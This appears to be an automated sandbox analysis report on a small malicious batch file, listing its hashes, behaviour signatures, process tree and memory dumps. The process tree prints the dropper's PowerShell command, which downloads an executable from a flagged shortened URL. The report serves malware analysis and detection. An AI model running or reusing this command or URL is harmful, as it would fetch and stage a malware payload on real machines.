Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29/10/2024, 23:30

General

  • Target

    file-ly5.bat

  • Size

    604B

  • MD5

    a382e3f085e005edb9c5ea215109bb9b

  • SHA1

    e7454672385b823bd0e26eaaf092aa9f04607429

  • SHA256

    5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb

  • SHA512

    bee9a075e2acb3c47c24590e0b98a0949d5b7d6a86f017b0290304413bbac3b25e89ea8549a0be4fdfb88604ce6d950a151b3cd3370b71aefa9fbce3273a87ee

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://u.to/nBL7IA

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2352

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\CabFFA5.tmp

          Filesize

          70KB

          MD5

          49aebf8cbd62d92ac215b2923fb1b9f5

          SHA1

          1723be06719828dda65ad804298d0431f6aff976

          SHA256

          b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

          SHA512

          bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

        • memory/2352-4-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

          Filesize

          4KB

        • memory/2352-5-0x000000001B400000-0x000000001B6E2000-memory.dmp

          Filesize

          2.9MB

        • memory/2352-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

          Filesize

          32KB

        • memory/2352-7-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-8-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-9-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-10-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-11-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

          Filesize

          9.6MB

        • memory/2352-28-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

          Filesize

          9.6MB